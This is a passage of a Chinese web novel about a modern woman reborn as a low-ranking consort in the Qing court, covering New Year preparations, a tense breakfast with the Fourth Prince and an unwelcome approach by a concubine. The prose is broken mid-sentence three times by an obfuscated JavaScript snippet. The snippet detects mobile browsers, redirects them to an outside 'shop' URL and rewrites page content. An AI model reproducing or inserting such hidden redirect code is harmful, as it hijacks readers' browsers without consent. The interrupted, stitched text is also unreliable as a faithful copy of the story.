竹苓一进屋就看到自家格格正在唉声叹气。 “格格您瞧,奴才取了什么回来!”竹苓有心叫宋时繁高兴些。 宋时繁闻声望去,就发现竹苓捧着个老大的托盘,上面堆着几身新衣裳。 “你这是刚从针线房回来?”宋时繁有些懒懒的,但还是问了一嘴。 竹苓见宋时繁有兴趣,便竹筒倒豆子般解释道:“是呢,这些是预备着格格您过年穿的,针线房本来早就应该送来,之前奴才和白薇姐姐去催了几次她们都说到年跟前了,忙不过来,今日去可算是有了,不过也只取回来四身,剩下的说是还得再等等,格格您快试试,若是有不合身的地方,现在改还来得及,明儿可就要上身了。” “竟这样忙?”宋时繁依言起身,走过去由着竹苓拿衣服在她身上比划。 竹苓笑了笑道:“年下是比平常要忙些,咱们府上大大小小也有好几位主子呢,里里外外的衣裳都要新做,虽说咱们布料送去得早,但针线房那些人总归要紧着主子爷和福晋的先做,所以格格的衣服就做得慢了些,奴才听说郭格格那边还没影儿呢!” 宋时繁有些惊讶:“那她过年怎么办?穿什么?不是说按规矩过年每天都要换身新衣裳吗?” 不得不说宋时繁还是有些天真的,完全不了解此时后宅女人的生活。 只听竹苓道:“还能怎么办?若是往年里有没上过身的就先拿出来支应着,若是没有那就只能穿旧衣裳了。” 宋时繁一时间沉默了下来。 竹苓见宋时繁不说话还以为她担心自个儿衣服不够穿,到时候再丢了人,便道:“格格您别担心,咱们这里是够的,您屋里橱柜还收着几身新衣裳,虽说是去年做的,可也没上过身,就是颜色不如之前鲜亮了,不过倒也能顶些事。” 宋时繁摇了摇头,由着竹苓给她换上件雪青色绣地红花的氅衣,只见这衣服的袖口上都绣着精美的刺绣花纹,宋时繁看着这布料一时间觉得有些眼熟。 “这是...福晋赏下来的那匹布?” 竹苓虽不了解前情,但听宋时繁这样问,约莫就是的,于是她点头回答道:“应该是,怪道奴才去针线房的时候,针线上的嬷嬷还特意提了提这件衣裳,原是福晋赏下来的。” “哼,托福晋的福了,否则我怕是没那么快能拿到新衣裳呢...”宋时繁看着这匹布又想起了之后发生的种种,不由轻轻哼了一声。 “格格哪里话,就是不看别的,您还有大格格呢,到底跟旁人不同些,那些人也不敢怠慢您的。” 宋时繁闻言笑了笑:“你也知道要看着大格格的面子呢...说到底我是什么也不算的,竹苓你说,后院里这些女人争个什么劲儿呢?就为一件衣服?还是一枚首饰?可争到最后还不是什么都做不了主...” 竹苓当下就被问住了,不过宋时繁也是突然有感而发,并不需要竹苓回答什么,只听宋时繁又开口问道:“我能送件衣裳给郭格格吗?” 竹苓愣了愣,不明白自家格格怎么又绕回来了,但她仍下意识开口道:“府里倒没有不许格格间互送东西的规矩,只是格格您若就这样大喇喇将衣服送去,旁的不提了,郭格格领不领情还两说呢...依奴才看,就算了吧。” “而且...”竹苓有些犹豫。 宋时繁用眼神示意竹苓继续往下说。 “而且府里其他格格们都已经拿到衣服了,郭格格那边...她入府至今一直没承过宠,手头上又不宽裕,所以没银子打点针线房,针线房上便刻意压下了郭格格的衣裳...虽说可能晚两天,但总归会给她送过去的,格格,您就别操心了...” 听竹苓这么说,宋时繁才算将此事抛到脑后去。 不过竹苓又提起一事:“说起来...格格您还担心旁人呢!” 宋时繁挑了挑眉,不明白竹苓这话是什么意思。 竹苓叹了口气:“格格您虽说处境比郭格格强些,可也...奴才听说这次针线房除了主子爷和福晋那边,就紧着李格格一人做的衣裳呢。” 宋时繁对此却表示理解:“李格格毕竟有孕呢,身量不一样了,尺寸肯定也有变化,针线房也是顾头不顾尾了。” 竹苓恨不得上去摇一摇宋时繁,让她清醒一点,怎么这种事自家主子就是不上心呢,竹苓颇有些恨铁不成钢地开口道:“可武格格那边也比格格您先拿到衣服,武格格入府才多久啊,若真论起来,哪里就比得上格格您了呢...” 宋时繁原本无可无不可地听着,这会倒是轻笑出声了:“都是一样的人,若真论起尊卑来,那才是第一等可笑的事。” 说话间,宋时繁已经又换上了一身藕荷色阔边棉袍,袍子外面还套了个月白色对襟坎肩,脖领子和袖口处都镶嵌了一圈毛边,宋时繁摸了摸,但摸不出是什么毛,只觉得还挺软和。 竹苓将衣服的腰身掐了掐,皱了皱眉:“腰这里大了些,格格瘦了。” “我瞧着这些衣裳都差不多,反正都是直筒筒一条下来,粗点儿细点儿也看不出什么花儿来,无妨的,不用改了,就这么穿吧。” 竹苓一边帮着宋时繁脱衣服一边道:“到底是新衣裳呢,过年要穿出去见人的,可不能太随便了。” 话音刚落,宋时繁见竹苓又拿起一件石榴红绣吉祥云纹的旗装在她身上比划,可宋时繁看那颜色通红的,她有些迟疑地开口问竹苓:“这颜色...是不是太红了些?没关系吗?” 竹苓笑了笑,安慰宋时繁道:“格格您太小心了!过年合该穿得喜气些,主子爷见了也高兴不是,而且这又不是正红色,格格您不必担心。” 宋时繁抿了抿嘴:“咱们的福晋看重这些,大过年的我也不愿意多生是非,何苦来的?之前福晋罚我抄经,那一个字一个字的可难写了,我又怕写得难看了,叫福晋再拿住话柄,到现在还没抄完呢。” 可抱怨归抱怨,该抄还是得抄,宋时繁也不想耽误太久,所以她这几天瞅准空子就抓着经书开始描摹。 虽然福晋没指明什么时候要,只说抄好了再呈上去与她看,可宋时繁觉得这种事向来是赶早不赶晚的,还是早交差早了。 不过这几天经书抄下来,别的不说,她那一笔字儿倒是写得顺畅多了,不像刚开始那样歪歪扭扭形如三岁小儿一般,这也算是一种变相的练字方式了吧。 这天就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此时,透过镜子看着已经全副武装起来的自己,宋时繁莫名觉得好笑,她现下就像是那装扮好即将要上台唱大戏的人似的。 没等宋时繁多想,竹苓又给她披上了件白色绣梅枝纹的披风,宋时繁从铜镜里瞧了瞧,披风红艳艳的,还挺好看。 最后出门的时候,宋时繁叫了竹苓和自己一起:“天气太冷了,不敢把大格格抱出来,白薇你就在家里看着大格格吧,你家格格我要上台唱戏了。” 白薇将手炉递给宋时繁,“格格出去可别胡说了。” 宋时繁抿唇笑了笑,最后深吸一口气踏出了房门。 这会真是太早了,宋时繁到正院的时候,天还黑着呢,正院的门都没开,不过武格格和郭格格已经到了。 出乎意料的是,还有三个宋时繁不认识的姑娘也垂首站在那儿,倒是李格格还没来。 宋时繁与武格格和郭格格互相见了礼,之后郭格格便不再开口,是一如既往的沉默寡言,反倒是武格格凑上来跟宋时繁搭话。 “宋姐姐今日起得早呀。”武格格笑吟吟的。 “跟两位妹妹比起来不算早呢!”宋时繁也谦虚了一句。 武格格笑道:“我和郭妹妹住得近些,自然来得早,不过宋姐姐知道她们是谁吗?”说着,还递了个眼神给宋时繁。 宋时繁没说话,其实这种时候还能出现在正院门口的人,无非也是四爷后院里的女人们。 但四爷只有四个格格,这三个约莫就是侍妾了,只是宋时繁自来了以后还从没见过她们,所以她也不好说知道还是不知道,便只好不说话装沉默了。 说话间李格格到了,几人又见了礼,倒是李格格见到那三人挑起了眉毛:“倒是难得见你们几个。”说罢还嗤笑了一声。 也怨不得李格格笑,这明摆着是福晋找来要分李格格宠爱的,甚至可能还打着借腹生子的算盘,所以李格格不可能看那几人顺眼。 不过这三人面上瞧着倒都是老实本分的样子,被李格格奚落也一言不发。 不多会儿,福晋身边的芸香就来通传了:“福晋和主子爷已经起了,请诸位跟奴才来吧。” 25. 过年(中) 今天福晋和四爷是要一起进宫的,为了方便,四爷头天晚上便宿在了福晋这里,这会子宋时繁她们也是来请安顺便送四爷和福晋进宫的。 几人得了吩咐便鱼贯而入,进了正堂,果然见四爷和福晋端端正正坐在主位上,气氛一时有些严肃。 好在这种时候,宋时繁只需要随大流,应该不会有什么意外发生吧... 可一般这么想的时候,就必定会有意外发生。 进屋后,众人先是齐齐向四爷和福晋行礼,等四爷叫起后,福晋便笑着吩咐道:“今日你们来得倒是齐全,还这样早,想必都没用过早膳吧,正好我和主子爷也要用膳,一起吧。” 四爷对此倒没什么异议,福晋既然想表现大度,他也没意见,反正跟谁用膳不是用膳呢? 宋时繁倒不太耐烦这种场面上的事,本以为只是请个安点个卯就能离开,她还想回去睡个回笼觉呢,谁知道突然会横生枝节,不过她一个小格格也没有发言的余地,于是便跟着人群后面来到了饭厅。 刚进门就瞧见八仙桌上已经摆得满满当当了,可见是一早就预备好的。 四爷先入座,福晋坐到了四爷的身边,这之后四爷对着福晋开口道:“叫她们都坐下吧,便饭而已,不必拘泥着规矩。” 这种日子四爷不想他的女人们跟在旁边伺候,那样太麻烦了,他等会还要进宫,没那么多功夫耽误在这上面,抓紧一起坐下吃两口就得了。 四爷想得简单,可福晋却不这么想。 格格们倒是无所谓,但福晋今日本就存着要让侍妾们在四爷面前露个脸的意思,于是她道:“那就叫格格们坐吧。” 大家都是明白人,这话一出,四爷先是皱了皱眉,李格格见状脸上扬起个笑,率先扶着丫鬟的手坐了下去。 宋时繁瞧着李格格动了,她忙跟着坐到了李格格对面,武格格和郭格格就分坐两边。 剩下的三个侍妾互相看了看,知道福晋没让她们坐下就是要她们伺候的意思了,可主子爷也在,伺候谁还真是个问题... 不过三人也都不是傻子,还能看不出福晋的暗示吗? 老这么傻站着还有可能错失机会,于是三人中姿色最好的那位先大着胆子朝四爷走去,剩下两人也不甘落后,纷纷挤到了四爷身边。 福晋见侍妾们肯上进,心下觉得这几人还算识趣,脸上便带出些笑意来,反倒是四爷沉着脸一言不发。 宋时繁瞧着众星捧月的四爷黑着个脸,而一旁给自己夫君送女人的福晋却面露满意,不免觉得好笑。 这抹笑意不偏不倚正巧被四爷精准捕捉到了。 也不怪四爷,最近几次四爷跟宋时繁一起吃饭的经历都还算舒服,四爷便在心里留下了宋时繁吃饭很香的印象,于是一到吃饭的时候,他下意识就想起宋时繁,这会子宋时繁就在眼前,四爷可不就多看了两眼。 这一看,四爷便发现宋时繁在偷笑,莫名的,四爷就是感觉到宋时繁在嘲笑自己,本就强忍着不满的他,发现被嘲笑以后彻底坐不住了。 恰好此时,那位长得最美的侍妾夹了片鱼肉放到了四爷的碗里。 四爷将筷子重重往桌子上一拍:“大清早的,就要爷吃这么油腻,会不会伺候?” 那名侍妾吓到了,忙跪了下去,从宋时繁的角度,能看到她跪下去的时候姿态完美又漂亮,一双翦水秋瞳含着莹莹泪光正朝四爷望去,可谓是我见犹怜。 宋时繁不由感叹,这人当个侍妾属实委屈了,不为别的,因为四爷这会可完全没有怜香惜玉的心情,那位侍妾妹妹的媚眼纯属是抛给瞎子看了。 福晋不明白刚才还好好的,怎么这会四爷又突然发起火来,但这种时候也不好不说话,她只得站起身来请罪:“爷赎罪,是奴才没有管教好她们...” 福晋既然起了身,剩下的人也不敢再坐着了,全都跟着福晋跪下请罪。 彼时,宋时繁的脑子里只有一个想法:非要吃这顿早饭干嘛?最可恨的是,刚刚那个小笼包子她还没吃到嘴里! 其实宋时繁有些不明白福晋急什么。 要知道现如今可是清朝,福晋已经从身份上压倒了她们一片人,只要做丈夫的不糊涂,福晋起码可以舒舒服服安安稳稳过一辈子的,比她们这些妾室的日子好太多了。 这点宋时繁一直看得明白,她一早就看出四爷无论如何都会尊重福晋这个嫡妻,就算偶尔过分宠爱哪个妾室,到底也就是当个玩意儿罢了,不能当真的,若是她仗着自己是穿越来的,就觉着她跟旁人不同了,那才是自寻死路。 事实上,四爷也确实如宋时繁所想的一样。 四爷觉得,就算李氏怀孕了,生儿生女还不好说呢,哪怕真生下个庶长子,可福晋又不是不能生,对于四爷来说,虽然他跟这个时候大多数的人一样,都希望能拥有一个嫡子,但只要是自己的孩子们,其实都没差的,就论四爷对大格格也同样看重就很能说明问题。 只能说福晋是当局者迷了。 所以从四爷的角度来说,他就越发看不明白福晋这段时间的行事风格,其实只要福晋不犯什么大错,四爷肯定会给她一个孩子,也会给她应有尊重和体面,何苦来得? 四爷见零零散散跪了一地的人,心头止不住地想叹气,心说大过年的这么闹来闹去也没意思,唉,福晋年纪还是太小,想法简单了,罢了,也许以后等福晋有了孩子,她的心能定一定,慢慢也就好了。 不过毕竟是过年,等会还要进宫呢,四爷不想再耽搁下去了,便道:“都起来吧,今日过节,爷和福晋都要入宫,中午你们就在自己屋里摆一桌,等晚上咱们再聚。” 众人忙谢恩:“多谢主子爷挂念,奴才们明白。” 福晋见状又说了几句场面话打圆场,四爷也算给面子,等福晋说完后才道:“时辰不早了,福晋,咱们走吧。” 众人再次起身恭送:“奴才们恭送主子爷。” 等终于送走了四爷和福晋,宋时繁才小小松了口气。 早膳肯定是吃不成了,没道理主人走了,客人继续留下用饭的,福晋身边的丫鬟便领着众人往出去了。 倒是宋时繁临走的时候颇觉可惜地瞅了好几眼桌子上的菜色,啧啧啧,心痛啊,这可是福晋的早膳份例呢,她连菜都没看全就吃不上了,下次不知道还有没有机会被福晋留膳。 不过宋时繁转念又想到今天一顿早饭引出这许多风波来,她不由摇了摇头,算了,还是回去吃她自己的清粥小菜吧,总比在这有得看没得吃要强。 出了正院,几人都不同路了,便打算就此分手。 李格格先摸着肚子出声道:“诸位姐姐妹妹们,我着实有些撑不住了,就先走了罢。”说完对着宋时繁等人点了点头,便径直离开了。 倒是宋时繁皱了皱眉,她怎么感觉这李格格怀孕以后好像格外喜欢摸肚子?仿佛每次见到李格格,她不是在摸肚子就是在摸肚子的路上,她难道不担心生得时候会胎位不正吗?还是说李格格根本不知道? 不过李格格已经走远了,宋时繁只是心中有怀疑,这个时候人已经走了她也不好追着李格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045522|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格说,到底是在后宅里,李格格性子又拔尖要强的,别到时候再以为自己诅咒她呢,那可就不好了。 下次若是机会合适再提醒一下李格格吧,宋时繁默默思索着,就见郭格格和武格格一道与她辞行,这二人一同入府,又住在一个院子里,出门请安什么的都是一起的,这会当然也一起走。 宋时繁与她们打完招呼也转身往自己个儿院子的方向走,请个安折腾到现在,宋时繁早就累了,于是她拉着竹苓的手,脚下步子迈得飞快,可以说十分归心似箭了。 这种时候宋时繁就能体会到身份低微的好处了,那就是不用穿清朝的花盆底鞋。 她一个格格只要不逾矩,穿着绣鞋跑来跑去根本没人管,否则若是在这大雪天还得踩个花盆底,不出三天,她怕是就要摔死在雪地里了。 终于回到她的小院子,宋时繁才算是彻底放松下来。 刚走到廊下,她已经飞速将自己的披风解了下来,进屋后就蹬掉了鞋子,一下子歪倒在软榻上。 “真是累死我了...” 白薇一直在屋里等着宋时繁回来,晓得宋时繁怕冷,将炭火都烧得足足的,这会屋子里十分暖和,于是她也不担心宋时繁会着凉,见宋时繁东倒西歪的还抿唇笑了笑,只觉得自家格格跟小孩子一样可爱。 冷得时候还不觉得,人一暖和下来,宋时繁就感觉到肚子开始咕噜噜叫了,忙喊白薇:“好白薇,快去给我拿点点心来,我肚子都抗议了!” 白薇忙将放在桌上的食盒打开来,只见里面放着一碟牛乳糕和一碟芝麻卷,还有一碟如意卷。 “早给格格预备下了,格格早上走得急都没来得及用早膳,奴才想着格格回来肯定饿坏了,便叫三宝去膳房取了这些来。” 说着,还倒了杯热乎乎的奶茶递给宋时繁。 此奶茶非彼奶茶,清朝是满族人建立的,早期他们生活在草原上,所以常吃乳制品,唐代的时候,汉人饮茶的习俗传到了草原,于是便有了将奶和茶结合到一起的饮品,满族人也养成了喝奶茶的习惯。 宋时繁先吃了一块牛乳糕,又捧着热乎乎的奶茶喝了一大口,才算安抚住自己的五脏庙。 这会子不饿了,宋时繁吃东西的速度慢了下来,还有心情捡着话来跟白薇聊天:“方才我走了以后大格格哭了吗?” 白薇摇了摇头:“没有,大格格早起喝了顿奶后又睡着了。” “小家伙还挺能睡。”宋时繁提起大格格总是高兴的。 “小孩子正是要多睡睡才能长得好呢,咱们大格格越来越好了。”白薇笑着凑趣。 “前几天我病着都没见到大格格,她会不会把我忘记呀?”宋时繁胡思乱想道。 “小孩子记性好着呢,再说了,哪有不跟额娘亲近的道理?”白薇安慰道。 宋时繁没说话,心里却很不认同,虽说母子连心是真的,可小孩子若是长久不在生身母亲身边,忘了也正常。 想到这里她有些紧张,对于现在的她来说,大格格算是她在这里唯一的牵绊了,若是大格格不跟她亲近了她不得伤心死? 再加上已经好几天没见到自己的亲亲女儿了,宋时繁也想念得紧,而且她的病也好差不多了,应该可以跟大格格接触了。 决定好以后宋时繁再也坐不住了,踩上绣鞋就往西厢房去了。 “我去瞧瞧大格格!” 白薇不防备宋时繁突然的动作,等反应过来的时候宋时繁都走到门口了,她有些无奈地追过去:“格格您慢点,穿上披风呀,别冻着了...” 26. 过年(下) 宋时繁踏进西厢房的时候,屋子里一片静谧。 奶娘赵氏正坐在窗下缝着一个小虎头帽,另外一位奶娘则坐在大格格旁边轻轻拍着大格格,嘴里还哼着一支不知名的小调,听起来颇为悠扬。 宋时繁到了门口却没急着往里进,她先是摆手示意奶娘们不用起身行礼,然后便走到火盆子旁边烤手。 她等下要抱大格格的,可不敢直接拿冰凉的手去碰大格格。 等到手完全暖起来的时候,宋时繁身上的寒气也驱散得差不多了,她这才小心翼翼地朝着大格格的床榻走去,奶娘见宋时繁过来了,忙起身让开位置。 宋师傅朝着奶娘笑了笑,随后便坐在了大格格的床边去瞧大格格。 “唉哟这小家伙睡得真好呀,额娘都快想死你了!”说着,宋时繁还用手点了点大格格的小脸蛋。 也是巧了,大格格不知是自己睡够了还是被宋时繁吵醒了,总之,宋时繁戳她小脸蛋的时候,她就把眼睛睁开了。 刚睡醒的大格格一睁眼发现身边换人了,并不是一直陪着自己的熟悉面孔时,当即便将小嘴儿一撇,开始哼哼唧唧起来。 宋时繁见大格格醒了,还一副要哭不哭的样子,便伸手把大格格抱到了怀里哄。 大格格被宋时繁抱起来后,用鼻子嗅了嗅这个怀抱的味道,许是大格格还记得自己亲额娘身上的味道,倒是立刻安稳下来了,老老实实待在宋时繁怀里,还拿一双黑溜溜的眼睛瞅着她,也不再哼唧了。 宋时繁见状就笑了:“呀,我们大格格还记得我呢,知道我是你额娘是不是呀?” 奶娘在一旁跟着凑趣:“大格格真是乖巧得很,往日里很少哭闹,可见是个知道心疼额娘的呢,以后长大了肯定要孝顺格格您的!” 谁都乐意听别人夸自家孩子不是?这话叫宋时繁听着顺心得很,便道:“生恩要记,养恩也要记,你们为她辛苦一场,她以后也会念着你们的好。” 奶娘忙道:“能叫大格格吃一回奶是奴才们有福气才是。” 还是个小团子的大格格显然听不懂自家额娘和奶娘在说什么,但又想参与进去,便伸手去够她额娘的脸。 宋时繁感觉到以后忙躲开。 开玩笑,她回来以后还没来得及卸妆呢,可不敢叫大格格摸到脸上的化妆品,虽说这是在清朝,化妆品里面没有化学成分,可她也是不敢掉以轻心,万一叫大格格吃进嘴里怎么办? 可宋时繁越躲,大格格就偏要去摸,母女两个就这样玩起了躲猫猫的游戏。 一上午,宋时繁都陪着大格格,可算是亲热够了,直到快用午膳的时候,宋时繁才舍得放下大格格。 今儿的午膳还算丰盛,膳房送来了三道荤菜,四道素菜,两盘点心饽饽,并一个热锅子和一盅鸡汤,是她一个人无论如何也吃不完的份量。 宋时繁便指着荤菜里头的炖红烧肉道:“我也吃不了这些,把这个给石桥他们端过去吧,让他们也打打牙祭。” 虽然宋时繁不知道她手底下这些人平日里的伙食怎么样,可想也知道应该只能算一般。 毕竟她平时想吃点儿好的还得去膳房打点呢,石桥他们如果不花钱应该吃不到太好的东西,趁着过年叫他们也沾沾油水。 竹苓麻利地端起红烧肉给石桥他们送了过去,石桥几人得了宋时繁的赏一个个高兴得不行,对他们这些当奴才的来说,赏银子都没赏一顿肉来得实在,这一大盘子红烧肉看着就香。 竹苓回去就对宋时繁学:“主子没看见,石桥他们不晓得多开心呢,三宝还一个劲要奴才回来替他谢谢主子呢。” 宋时繁闻言笑了笑:“他们年纪都小呢,平日做活也辛苦,跟了我也是受委屈了。” 竹苓道:“格格别这样说,能有您这么个好主子,奴才们做梦都是笑着做的。” “是啊,奴才虽然没伺候过旁人,但格格您确实好,人也好,对奴才们都好。”白薇也在一旁帮腔。 “你们两个还真会哄我开心,那我也赏赏你们吧,来,坐下,和我一起吃饭。” “奴才们不敢。”白薇和竹苓忙低头。 “关起门来谁知道这事呢?再说了,这大过年的你们忍心我一个人吃饭?咱们三个好好热闹热闹不成吗?” 宋时繁不给她们拒绝的机会,推着她们就坐下了。 二人见宋时繁坚持,想着确实没人知道,又不忍拂逆宋时繁的好意,便半推半就地应了。 宋时繁一坐下就先朝着热锅子下了手,这锅子刚刚就一直咕嘟咕嘟地冒着热气勾引她呢! 这时候的锅子都是清汤锅,直接在里面涮着肉吃,吃得就是一个鲜味,宋时繁连着夹了三筷子羊肉才满意,嘴上还直呼过瘾。 “不过吃锅子我还是比较喜欢吃辣锅...等下次有机会,咱们去膳房点个辣火锅来尝尝。”宋时繁不无遗憾地道。 好在眼下的菜也不错,宋时繁吃得很尽兴,这一下没控制住就吃撑着了。 吃太饱的下场就是还得她自己找点事情做用来消食。 于是宋时繁便走到书桌前摊开经书抄了起来,毕竟她还是有“公务”在身的人,正好站着写一会全当助消化了,写累了她再睡一个午觉,这计划简直不要太完美。 就这样一下午的时间被消磨得差不多了,到了傍晚的时候,白薇就来喊宋时繁了。 “格格,该预备着了,要去门口候着主子爷和福晋了。” 彼时宋时繁刚喂完大格格一顿奶,闻言有些讶然:“这么早,我瞧着天还没黑呢,四爷和福晋不是去宫里参加除夕晚宴吗?不可能那么快回来吧。” “说是这么说...不过还是要提早些去等着...”白薇答道。 好吧,宋时繁明白了,应该又是什么皇室规矩,没办法,自己穿的朝代,认命吧! 等宋时繁收拾妥当到二门外的时候,府里的格格们已经全都到了,正齐刷刷站在门口翘首以盼。 当然,毫无疑问的是,那三名侍妾也来了。 宋时繁白天回去的时候还跟白薇侧面打听了一下这三位侍妾。 其中那个长得最好看也最妖艳的名叫安秀秀,从前是四爷身边的大宫女,跟了四爷好多年,谁知她心里一直悄悄恋慕着四爷,某天趁四爷醉酒的时候直接爬了床。 据说四爷醒来的时候被恶心坏了,可事已至此,四爷也只得捏着鼻子认了,但将她收成侍妾以后,四爷却再也没有近过安秀秀的身,也正是因为有此一事,后来四爷身边再也不要宫女伺候了,一律只用太监。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13045523|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以今天这安秀秀也是最着急想要四爷注意到她的人,毕竟她上位的姿态实在难看,若没有四爷的眷顾,日子可谓是十分不好过。 而挨着安秀秀站的则是常玉青。 常玉青身穿一件月白色旗装,眉间微微蹙起,双目似一泓清泉,行动间多有娴静之姿,浑身都散发着一股书卷气息,是个文弱美人。 这位是刚开府的时候,四爷的门下奴才送进府里的,四爷当时不好推拒便收了,四爷对常玉青虽说不上宠爱,不过一个月里倒也总会去上她那里一次。 最后一位叫秋红,本家姓汪,府上人便称她汪姑娘。 她长得不算出挑,看着却十分温柔敦厚,不过她是三个侍妾中年纪最大的,比四爷还大五岁,今年已经有二十四了。 秋红是当初孝懿仁皇后,也就是四爷的养母佟佳氏还在世的时候亲自挑选送给四爷的,说是为了给四爷晓事用的。 而且最令宋时繁震惊的是,这位秋红是在四爷十岁的时候就被指过来了,不得不感叹,古时候人真是早熟,也不怕耽误了小孩子发育... 不过就这么一圈看下来,四爷后院里的女人还真是不算少,瞧瞧这些莺莺燕燕的站了一排,而且各种风格都有,随随便便已经七、八个款了。 就这样,白薇竟然还认为四爷不是个重色之人,不得不说古代女子在这种事情上还真是...相当宽容啊。 对此宋时繁只想说,牛还是你们牛的。 靠想着这些有的没的打发时光,终于将时间慢慢捱了过去,一转眼天已经黑透了,四爷和福晋的马车也到了府门口。 等四爷和福晋出现在众人眼前的时候,众人齐齐向二人行礼问安。 “奴才们恭迎主子爷和主子福晋回府,给主子爷和主子福晋请安,主子爷吉祥,主子福晋吉祥。” “都起吧!”四爷叫起的声音中带着些疲惫,可见进宫也不是件舒服事。 不过宋时繁光想想也知道,她只是在四贝勒府上当侍妾就已经觉得规矩多如牛毛了,宫里的规矩只怕会更严苛。 当然,宋时繁也只是想想,毕竟这跟她一点关系都没有,若是她有幸能活到四爷登基,那也许还要突击一下宫里规矩什么的,不过这都是二十多年以后的事了,康熙帝那么能活,她暂时还操不到这个心呢。 宋时繁正神游天外的时候,只听四爷又发话了:“爷要跟福晋先回去更衣,你们退下吧!” 说罢,四爷便率先离开了。 福晋则朝着众人笑了笑:“一会儿都去延庆阁,咱们到时再好好叙话。”说完也扶着丫鬟芸香的手走了。 众人见正主都离开了,一时间便也散开了。 倒是宋时繁没着急动,她在想现在应该去哪儿。 “格格咱们也回去吗?”白薇在宋时繁耳边问道。 “唉,现下走回去坐不了一盏茶功夫又要出门,简直折腾死人了,算了,不回去了,去延庆阁不是要路过花园吗?咱们去转转吧。” 就在宋时繁带着白薇二人正准备往花园里走的时候,安秀秀不知从哪里突然冒了出来,笑吟吟的跟宋时繁搭话。 “宋格格,您要去花园赏景吗?奴才正巧也觉得回去麻烦呢,宋格格若是不介意的话,咱们能同行吗?” 27. 不怀好意 所谓伸手不打笑脸人,而且以宋时繁现如今跟别人半斤八两的地位来看,她也拒绝不了。 于是,宋时繁只得被迫对着安秀秀笑了笑,然后才道:“安姑娘这话就太客气了,那花园又不是只有我一个人能去,安姑娘想去自然是去得的。” 其实宋时繁这话也算是委婉拒绝一起同行的意思了,本来嘛,花园子那么大,各人逛各人的呗。 可实在架不住安秀秀缠人的功夫厉害,她见宋时繁没有明确表示拒绝竟立刻就顺着杆子爬了上来。 “宋格格既然不介意,那奴才便斗胆跟着宋格格您了。”说罢,再不容宋时繁拒绝,直接落后一步,跟在了宋时繁的身后。 却是一副打定主意要跟着宋时繁同去花园的样子。 宋时繁有些无奈,但也在心里暗暗拉起警报。 她可不觉得安秀秀是突然闲着没事做想来找她谈谈心,这样不管不顾地死活要贴上来,只能说是黄鼠狼给鸡拜年,没安好心! 当然她不是鸡,不过安秀秀另有目的是一定的。 但事已至此,宋时繁也只能走一步看一步了。 一路上,她都在思索着安秀秀到底想干嘛,可安秀秀自从跟上她以后就一直沉默着,宋时繁才不会傻到主动去找安秀秀说话,她还是静观其变得好。 于是,宋时繁便装作对风景十分感兴趣的模样,甚至还和白薇评价了起来。 看到棵树,她说:“白薇你瞧,那棵树的树杈子...多像根鸡爪呀!一颗树居然能长得如此奇特,未来必定有大造化!神迹啊简直就是神迹...” 看到株草,她说:“白薇你瞧,这株小草在严严冬日里竟然长得如此生机勃勃,不简单啊,真是太不简单了,这是什么精神?这就是拼搏奋斗的精神!” 看到颗石头,她说:“白薇你瞧,这颗石头真结实啊,这纹理,这线条,啧啧啧,简直是石头界的一股清流。” 白薇...白薇不想再瞧了,谁来救救她,自家格格怎么又开始胡说八道了... 没错,宋时繁确实是在胡说八道,这些都是宋时繁瞎扯出来的。 没办法,现下是冬日,花园子里光秃秃的,再加上昨晚上还下了一夜的雪,这会子几乎没有什么景致可言,让她说什么好呢? 所以宋时繁只好对着仅有的树杈子以及小草们大夸特夸,主打一个只要她不尴尬,尴尬的就是安秀秀。 终于,安秀秀按捺不住开口了:“奴才从前竟不知宋格格您这样有趣呢!” 宋时繁干笑了两声:“呵呵呵呵,安姑娘过奖了...” “没有没有,宋格格刚刚说的几句话,奴才初听本不觉得有什么,可细细一琢磨,又实在是有趣,可见宋格格真真儿是个妙人,怪不得主子爷这样看重您呢。” 宋时繁心说安秀秀拍起马屁来还真是不遗余力,自己随便扯了几句都能叫她夸出一朵花来,还有她最后那话也太抬举她了,这府里是有得宠的格格,可这个人选里从来不包括她好吧,四爷就算有时候会去她那里坐坐,那也都是为了看大格格。 她自己有几斤几两她还是能拎得清的。 由此可见,安秀秀所图不小,宋时繁的心里更加警惕起来了。 不过安秀秀这句话倒是也给了宋时繁一个甩掉她的契机。 于是,宋时繁沉下脸,作出一副生气的表情来:“安姑娘这话是在笑话我吗?府里谁不知道我不得主子爷的宠爱,安姑娘如今这样说怕不是故意要我难堪吧?” 安秀秀一听这话有些急了,脸都白了白,这可不成,她想求的事还没开口呢,就叫人给得罪了可怎么好。 “宋格格您误会了,奴才不敢有这个意思,奴才是真地觉得主子爷看重您呢,不像奴才,平日里是见不到主子爷的...这次还是福晋开恩,准了奴才来请安,这才见了主子爷一面,奴才实在...实在是...” 说到这里可能也真戳中了安秀秀的伤心处,安秀秀竟落下几滴泪来。 安秀秀用帕子擦拭了下眼角的泪珠,又可怜兮兮对着宋时繁道:“奴才就是有些羡慕宋格格您能常常见到主子爷,所以一时间口不择言了,还请宋格格千万不要怪罪。” 宋时繁却不肯上当,只继续对着安秀秀沉声道:“哼,当着我面你都能口不择言,背地里还不知怎么样呢,我是不敢再继续和安姑娘说话了,没得自找没脸,我要先走了,安姑娘就请便吧!” 